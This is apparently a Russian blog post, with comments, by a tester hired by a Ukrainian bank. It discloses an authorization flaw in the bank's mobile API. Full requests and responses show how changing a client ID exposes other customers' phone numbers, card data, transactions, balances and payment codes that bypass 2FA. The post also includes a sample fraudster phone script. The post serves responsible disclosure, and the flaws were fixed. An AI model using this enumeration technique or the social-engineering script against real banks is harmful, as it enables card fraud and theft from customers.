Получение информации и обход двухфакторной аутентификации по картам банка из ТОП-10 (Украина)

    В прошлом году украинский банк из ТОП-10 пригласил меня протестировать свои системы интернет- и мобильного банкинга на предмет уязвимостей.

    Первым делом я решил начать с отслеживания запросов мобильного приложения. С помощью Fiddler (Burp или Charles) я начал рассматривать каждый запрос приложения, выполняя по очереди все доступные в своём аккаунте операции. Мобильный банкинг не был защищён SSL-pinning, поэтому это не составило особого труда.

    В GET и POST-запросах я пытался подменять параметры, чтобы получить искомое, но достаточно долго мне это не удавалось – я получал ошибки вида «Доступ запрещён». Однако я таки нашёл нужные мне запросы.

    Например:

    1. Выполнив POST-запрос на адрес вида

    https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint

    С определёнными параметрами:

    SOAPAction: urn:getChannels
    Content-Type: text/xml
    Content-Length: 780
    Host: api.somebank.ua:8243
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: okhttp/3.9.0

    тело запроса:
    <soapenv:Envelope  
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  
    xmlns:ib="http://somebank.com.ua/">
       <soapenv:Header>
          <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken>
          <ib:locale>ru</ib:locale>
          <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
             <wsse:UsernameToken>
                <wsse:Username>mobile</wsse:Username>
                <wsse:Password>XXXXXXXXXXXXX</wsse:Password>
             </wsse:UsernameToken>
          </wsse:Security>
       </soapenv:Header>
       <soapenv:Body>
          <ib:getChannels>
             <ib:clientId>3618336</ib:clientId>
             <ib:cardId>?</ib:cardId>
          </ib:getChannels>
       </soapenv:Body>
    </soapenv:Envelope>

    В ответ я получил довольно много информации о другом клиенте:

    <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/">
      <sbb:getChannelsResponse>
        <sbb:registeredChannels>
          <sbb:cardId>6176071</sbb:cardId>
          <sbb:channelId>1</sbb:channelId>
          <sbb:extClientId>3618336</sbb:extClientId>
          <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum>
          <sbb:phoneNumber>+380671234567</sbb:phoneNumber>
          <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate>
        </sbb:registeredChannels>
        <sbb:registeredChannels>
          <sbb:cardId>9269642</sbb:cardId>
          <sbb:channelId>2</sbb:channelId>
          <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId>
          <sbb:extClientId>3618336</sbb:extClientId>
          <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum>
          <sbb:phoneNumber>+380671234567</sbb:phoneNumber>
          <sbb:platform>Android</sbb:platform>
          <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate>
    <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token>
        </sbb:registeredChannels>
        <sbb:registeredChannels>
          <sbb:cardId>9869792</sbb:cardId>
          <sbb:channelId>2</sbb:channelId>
          <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId>
          <sbb:extClientId>3618336</sbb:extClientId>
          <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum>
          <sbb:phoneNumber>+380671234567</sbb:phoneNumber>
          <sbb:platform>Android</sbb:platform>
          <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate>
    <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token>
        </sbb:registeredChannels>
      </sbb:getChannelsResponse>
    </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
    

    Это следующие данные:

    1. номер телефона клиента («phoneNumber»);
    2. количество карт (каждый параметр «cardId»);
    3. усечённые номера таких карт («hashNum»);
    4. дата регистрации в интернет-банкинге («regDate»);
    5. на каком устройстве используется приложение – Android или iOS («platform»);
    6. и пр.

    Меняя в теле запроса параметр «ib:clientId» (в ответе это «sbb:extClientId») с 3618336 на любой другой, получаем информацию по другому клиенту.

    Идём дальше.

    2. Теперь у тех клиентов, где «sbb:channelId» равен «2» (канал получения клиентом уведомлений: если 1 – SMS, 2 – push), берём clientId (extClientId) и подставляем его в GET-запрос на адрес

    https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10

    со следующими параметрами:

    Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733
    Content-Type: application/json
    Host: api.somebank.com.ua
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: okhttp/3.9.0

    В ответ получаем push-уведомления, которые отправляются данному клиенту:

    [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, 
    {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, 
    {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}]

    Здесь видно:

    1. по какой карте была операция;
    2. на какую сумму;
    3. дату и время операции;
    4. какая именно это была операция (покупка в магазине, снятие в банкомате или кассе, пополнение карты и т.д.);
    5. торговая точка, где была осуществлена данная операция — включая код авторизации, необходимый для подтверждения платежа на платёжных сайтах — LookUp, VCODE, CardVerif — об этом чуть ниже;
    6. баланс на карте после каждой операции.

    Учитывая большое количество получаемых данных и используя социальную инженерию, существовала возможность выводить деньги с карт клиентов на платёжных сайтах.

    Например, мошенник позвонит на +380509876543 со следующим разговором:

    Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH
    Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH
    Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH
    

    — Добрый день, Вас беспокоит сотрудник мониторинга SomeBank. Мы выявили подозрительную активность по Вашей карте после последней операции. Это Вы расплачивались картой 5111-1115 на 62.08 грн.?
    — Наверное, да.
    — Эта операция была сегодня, 23.09.18, в 03:38 в UBER. Вы подтверждаете данную операцию?
    — А, да, это был я.
    — А до этого Вы рассчитывались в TAVRIYA PLUS на 50 грн. и покупали кофе в PARKе SHEVCHENко за 29 грн., верно?
    — Да, точно.
    — Хорошо. Для того чтобы отменить мошенническую операцию на 444 грн., назовите мне номер отделения, где Ваша карта была выдана – это три цифры с обратной стороны карты, а также...


    Если клиент засомневается, можно назвать другие его операции – с помощью уязвимости можно просматривать их неограниченное количество.



    Итак, в рамках исследования мобильного приложения были обнаружены способы получения следующих данных:

    1. возможность обхода двухфакторной аутентификации на платёжных сайтах;
    2. номер телефона клиента;
    3. количество его карт;
    4. усечённые номера карт;
    5. дата регистрации в интернет-банкинге;
    6. сообщения, которые отправляются клиенту на смартфон. Включают в себя информацию:
    7. по какой карте была операция;
    8. на какую сумму;
    9. дату и время проведения транзакции;
    10. какая именно это была транзакция (покупка в магазине, снятие в банкомате или кассе, пополнение карты и т.д.);
    11. торговая точка, где была осуществлена данная операция – включая код авторизации (LookUp);
    12. баланс на карте после операции;
    13. и многое другое.

    Объясню серьёзность Пункта 11. Так как карты данного банка не имеют 3D-Secure (когда при оплате в интернете клиенту в SMS отправляется код, который нужно ввести для подтверждения операции), то платёжные сервисы (например, Portmone, iPay, EasyPay и многих других) проводят операцию по таким картам без дополнительной проверки. Или запрашивают для 2FA специальный код (LookUp-код), который содержится в деталях операции — в названии торговой точки.

    Таким образом, мошенники могут легко выведывать информацию о клиентах, а для подтверждения платежей будут просто смотреть нужные коды в системе банка.

    Также хочется отметить, что сервис не блокировал множественные запросы, и, перебирая данные, можно было собрать базу с очень большим количеством информации.

    Через некоторое время после сообщения об уязвимостях они были исправлены.
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 20

      +4
      «назовите мне номер отделения, где Ваша карта была выдана – это три цифры с обратной стороны карты, а также...»
      А что, так можно?
        +3
        К сожалению, да. Это нам на IT-ресурсе такой вопрос покажется смешным и мошенническим, но многие могут не заметить подвоха. Знаю не понаслышке о таких скриптах разговоров, эта фраза запомнилась мне больше всего.
          0
          А банки вообще часто звонят клиентам по поводу карточных операций? Мой мне ни разу не звонил (хотя иногда блокирует операции сам). Более того, я подозреваю, что обслуживание карты отдано на аутсорс и те, кто в принципе могут мне звонить просто не знают мой номер телефона.
            0
            Звонят и задают практически те же самые вопросы, кроме последнего. Сам работал в мониторинге нескольких банков)
            P. S.: обслуживание карт на аутсорсе малореально — безопасность, конфиденциальность, финансовые операции, все дела.
            0

            Мама моего друга — пенсионерка за 70. Как-то ей позвонили "из банка" и поинтересовались номером карты, сроком действия и CVV кодом. Тоже убедительно так видно рассказывали про банковскую безопасность итд. Пожилая женщина всё им и рассказала. Хорошо, что мама догадалась рассказать обо всём сыну. Карточку бвстренько заблокировали, а мошенники остались с носом лишь потому, что на карте не было денег, а карта дебетная.

              +2
              оффтоп. есть такой развод по телефону, звонок родителям и далее, либо плачущим голосом сына рассказывают "… что попали в аварию и нужны срочно все деньги" или убедительным голосом представляются «майор такой то, мы задержали вашего сына при перевозке им наркотиков»… вот у товарища был как раз второй случай:
              "… Я оказывается наркоту вез. Матушка не растерялась, спросила сколько было дури. Когда «майор» ей ответил — 250гр., в ответ удивилась — Как, там же килограмм должен был быть! Разговор прервали и больше не перезванивали"

              Мораль: надо вести разьяснительные беседы даже с очень пожилыми родителями :)
            –1
            Бесконечность, не предел
            –2

            Ну то есть — "уязвимость" в том, что у человека выведывают срок действия карты и cvv-код, который никому нельзя сообщать даже сотруднику банка. Инновационно. Никогда такого не было, и вот опять.

              0
              Нет, это лишь один из более 10 пунктов того, что можно было получать по клиентам.
              0

              В пуш сообщениях могут быть и коды второго фактора

                0
                У Альфы нет 3d Secure вроде.
                  +3
                  [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}

                  Мда… доступ к балансу, одно это уже просто прекрасно
                    +1
                    Я никаким образом не являюсь знатаком в области защиты данных, но как я понял, вам, в первую очередь, нужно получить, как и везде, секьюрити токен, и только после этого вы сможете получить данные, которые имеют небольшую ценность, но могут быть использованы для выуживания нужной информации с абонента.

                    Эти данные вы получили через специальный прокси-сервис на вашем же устройстве, тут всё понятно.

                    Что не понятно — так это в чём именно заключается уязвимость? Разве всё тело запроса не отправляется в зашифрованом виде? Разве токен не меняется постоянно? Могут ли его перехватить, скажем, на каком-то Wi-Fi к которому я подключусь? Вроде ж используется HTTPS, а значит и все отправляемые данные шифруются через SSL/TLS?

                    Получили доступ к данным через запросы имея все средства для анализа на руках, круто, но ведь это в контролируемой среде, а с другим устрйоством так прокатит?
                      0
                      Не совсем так. Я воспроизводил свои же операции (со своими же токенами), подставляя в некоторых запросах не свои данные. И бэк сервиса отдавал мне эти данные — данные других клиентов.

                      Да, там HTTPS, но он расшифровывается. В приложении нет SSL-pinning, но его тоже можно было бы обойти. Что же касается токена — он меняется, но я воспроизводил со своим токеном — мне не нужен был чужой.
                        0

                        А, вот оно как. Тогда понятно :))
                        Действительно, получать чужие данные по своему токену выходит за рамки нормальной работы :3
                        За такое увольнять надо.


                        Тогда возникает ещё один вопрос — можно ли как-то защитить токен/запрос?

                          0
                          После моего отчёта защитили)
                          Должна быть проверка на наличие прав у того, кто запрашивает, к тому, что он запрашивает.
                            0
                            Нет, это как раз понятно.
                            Я спрашивал про защиту самого токена и другой информации что передаётся на сервер.
                            Все ли существующие методы защиты обходятся или есть хотя бы один надежный?
                              0
                              Отвечая частично на первый комментарий, «я не являюсь знатоком в области защиты данных»:)
                                +1
                                Понял, ну и на том спасибо, для меня статья была очень интернесной и получить пару ответов от автора на свои вопросы был рад. Хорошего дня!
                                  +1
                                  Вам также спасибо, что читаете!

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое